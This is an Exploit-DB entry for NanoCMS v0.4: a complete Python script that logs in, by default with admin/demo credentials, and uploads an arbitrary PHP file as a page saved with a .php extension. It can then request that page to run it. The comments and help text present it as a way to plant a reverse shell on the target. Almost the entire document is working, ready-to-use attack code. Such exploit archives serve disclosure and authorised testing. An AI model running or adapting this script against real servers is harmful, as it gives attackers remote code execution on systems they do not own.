NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)

EDB-ID:

50997

CVE:

N/A


Author:

p1ckzi

Type:

webapps


Platform:

PHP

Date:

2022-08-01


# Exploit Title: NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-07-26
# Exploit Auuthor: p1ckzi
# Vendor Homepage: https://github.com/kalyan02/NanoCMS
# Version: NanoCMS v0.4
# Tested on: Linux Mint 20.3
# CVE: N/A
#
# Description:
# this script uploads a php reverse shell to the target.
# NanoCMS does not sanitise the data of an authenticated user while creating
# webpages. pages are saved with .php extensions by default, allowing an
# authenticated attacker access to the underlying system:
# https://github.com/ishell/Exploits-Archives/blob/master/2009-exploits/0904-exploits/nanocms-multi.txt

#!/usr/bin/env python3

import argparse
import bs4
import errno
import re
import requests
import secrets
import sys


def arguments():
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description=f"{sys.argv[0]} exploits authenticated file upload"
        "\nand remote code execution in NanoCMS v0.4",
        epilog=f"examples:"
        f"\n\tpython3 {sys.argv[0]} http://10.10.10.10/ rev.php"
        f"\n\tpython3 {sys.argv[0]} http://hostname:8080 rev-shell.php -a"
        f"\n\t./{sys.argv[0]} https://10.10.10.10 rev-shell -n -e -u 'user'"
    )
    parser.add_argument(
        "address", help="schema/ip/hostname, port, sub-directories"
        " to the vulnerable NanoCMS server"
    )
    parser.add_argument(
        "file", help="php file to upload"
    )
    parser.add_argument(
        "-u", "--user", help="username", default="admin"
    )
    parser.add_argument(
        "-p", "--passwd", help="password", default="demo"
    )
    parser.add_argument(
        "-e", "--execute", help="attempts to make a request to the uploaded"
        " file (more useful if uploading a reverse shell)",
        action="store_true", default=False
    )
    parser.add_argument(
        "-a", "--accessible", help="turns off features"
        " which may negatively affect screen readers",
        action="store_true", default=False
    )
    parser.add_argument(
        "-n", "--no-colour", help="removes colour output",
        action="store_true", default=False
    )
    arguments.option = parser.parse_args()


# settings for terminal output defined by user in term_settings().
class settings():
    # colours.
    c0 = ""
    c1 = ""
    c2 = ""

    # information boxes.
    i1 = ""
    i2 = ""
    i3 = ""
    i4 = ""


# checks for terminal setting flags supplied by arguments().
def term_settings():
    if arguments.option.accessible:
        small_banner()
    elif arguments.option.no_colour:
        settings.i1 = "[+] "
        settings.i2 = "[!] "
        settings.i3 = "[i] "
        settings.i4 = "$ "
        banner()
    elif not arguments.option.accessible or arguments.option.no_colour:
        settings.c0 = "\u001b[0m"       # reset.
        settings.c1 = "\u001b[38;5;1m"  # red.
        settings.c2 = "\u001b[38;5;2m"  # green.
        settings.i1 = "[+] "
        settings.i2 = "[!] "
        settings.i3 = "[i] "
        settings.i4 = "$ "
        banner()
    else:
        print("something went horribly wrong!")
        sys.exit()


# default terminal banner (looks prettier when run lol)
def banner():
    print(
        "\n                                                  .__           .__"
        "  .__   "
        "\n  ____ _____    ____   ____   ____   _____   _____|  |__   ____ |  "
        "| |  |  "
        "\n /    \\__   \\  /    \\ /  _ \\_/ ___\\ /     \\ /  ___/  |  \\_/ "
        "__ \\|  | |  |  "
        "\n|   |  \\/ __ \\|   |  (  <_> )  \\___|  Y Y  \\___  \\|   Y  \\  _"
        "__/|  |_|  |__"
        "\n|___|  (____  /___|  /\\____/ \\___  >__|_|  /____  >___|  /\\___  "
        ">____/____/"
        "\n     \\/     \\/     \\/            \\/      \\/     \\/     \\/   "
        "  \\/"
    )


def small_banner():
    print(
        f"{sys.argv[0]}"
        "\nNanoCMS authenticated file upload and rce..."
    )


# appends a '/' if not supplied at the end of the address.
def address_check(address):
    check = re.search('/$', address)
    if check is not None:
        print('')
    else:
        arguments.option.address += "/"


# creates a new filename for each upload.
# errors occur if the filename is the same as a previously uploaded one.
def random_filename():
    random_filename.name = secrets.token_hex(4)


# note: after a successful login, credentials are saved, so further reuse
# of the script will most likely not require correct credentials.
def login(address, user, passwd):
    post_header = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "
        "Gecko/20100101 Firefox/91.0",
        "Accept": "text/html,application/xhtml+xml,"
        "application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": "",
        "Connection": "close",
        "Referer": f"{arguments.option.address}data/nanoadmin.php",
        "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",
        "Upgrade-Insecure-Requests": "1",
    }
    post_data = {
        "user": f"{user}",
        "pass": f"{passwd}"
    }

    url_request = requests.post(
        address + 'data/nanoadmin.php?',
        headers=post_header,
        data=post_data,
        verify=False,
        timeout=30
    )
    signin_error = url_request.text
    if 'Error : wrong Username or Password' in signin_error:
        print(
            f"{settings.c1}{settings.i2}could "
            f"sign in with {arguments.option.user}/"
            f"{arguments.option.passwd}.{settings.c0}"
        )
        sys.exit(1)
    else:
        print(
            f"{settings.c2}{settings.i1}logged in successfully."
            f"{settings.c0}"
        )


def exploit(address, file, name):
    with open(arguments.option.file, 'r') as file:
        file_contents = file.read().rstrip()
    post_header = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "
        "Gecko/20100101 Firefox/91.0",
        "Accept": "text/html,application/xhtml+xml,"
        "application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": "",
        "Connection": "close",
        "Referer": f"{arguments.option.address}data/nanoadmin.php?action="
        "addpage",
        "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",
        "Upgrade-Insecure-Requests": "1",
    }

    post_data = {
        "title": f"{random_filename.name}",
        "save": "Add Page",
        "check_sidebar": "sidebar",
        "content": f"{file_contents}"
    }

    url_request = requests.post(
        address + 'data/nanoadmin.php?action=addpage',
        headers=post_header,
        data=post_data,
        verify=False,
        timeout=30
    )
    if url_request.status_code == 404:
        print(
            f"{settings.c1}{settings.i2}{arguments.option.address} could "
            f"not be uploaded.{settings.c0}"
        )
        sys.exit(1)
    else:
        print(
            f"{settings.c2}{settings.i1}file posted."
            f"{settings.c0}"
        )

    print(
        f"{settings.i3}if successful, file location should be at:"
        f"\n{address}data/pages/{random_filename.name}.php"
    )


def execute(address, file, name):
    print(
            f"{settings.i3}making web request to uploaded file."
    )
    print(
            f"{settings.i3}check listener if reverse shell uploaded."
        )
    url_request = requests.get(
        address + f'data/pages/{random_filename.name}.php',
        verify=False
    )
    if url_request.status_code == 404:
        print(
            f"{settings.c1}{settings.i2}{arguments.option.file} could "
            f"not be found."
            f"\n{settings.i2}antivirus may be blocking your upload."
            f"{settings.c0}"
        )
    else:
        sys.exit()


def main():
    try:
        arguments()
        term_settings()
        address_check(arguments.option.address)
        random_filename()
        if arguments.option.execute:
            login(
                arguments.option.address,
                arguments.option.user,
                arguments.option.passwd
            )
            exploit(
                arguments.option.address,
                arguments.option.file,
                random_filename.name,
            )
            execute(
                arguments.option.address,
                arguments.option.file,
                random_filename.name,
            )
        else:
            login(
                arguments.option.address,
                arguments.option.user,
                arguments.option.passwd
            )
            exploit(
                arguments.option.address,
                arguments.option.file,
                random_filename.name,
            )
    except KeyboardInterrupt:
        print(f"\n{settings.i3}quitting.")
        sys.exit()
    except requests.exceptions.Timeout:
        print(
            f"{settings.c1}{settings.i2}the request timed out "
            f"while attempting to connect.{settings.c0}"
        )
        sys.exit()
    except requests.ConnectionError:
        print(
            f"{settings.c1}{settings.i2}could not connect "
            f"to {arguments.option.address}{settings.c0}"
        )
        sys.exit()
    except FileNotFoundError:
        print(
            f"{settings.c1}{settings.i2}{arguments.option.file} "
            f"could not be found.{settings.c0}"
        )
    except (
        requests.exceptions.MissingSchema,
        requests.exceptions.InvalidURL,
        requests.exceptions.InvalidSchema
    ):
        print(
            f"{settings.c1}{settings.i2}a valid schema and address "
            f"must be supplied.{settings.c0}"
        )
        sys.exit()


if __name__ == "__main__":
    main()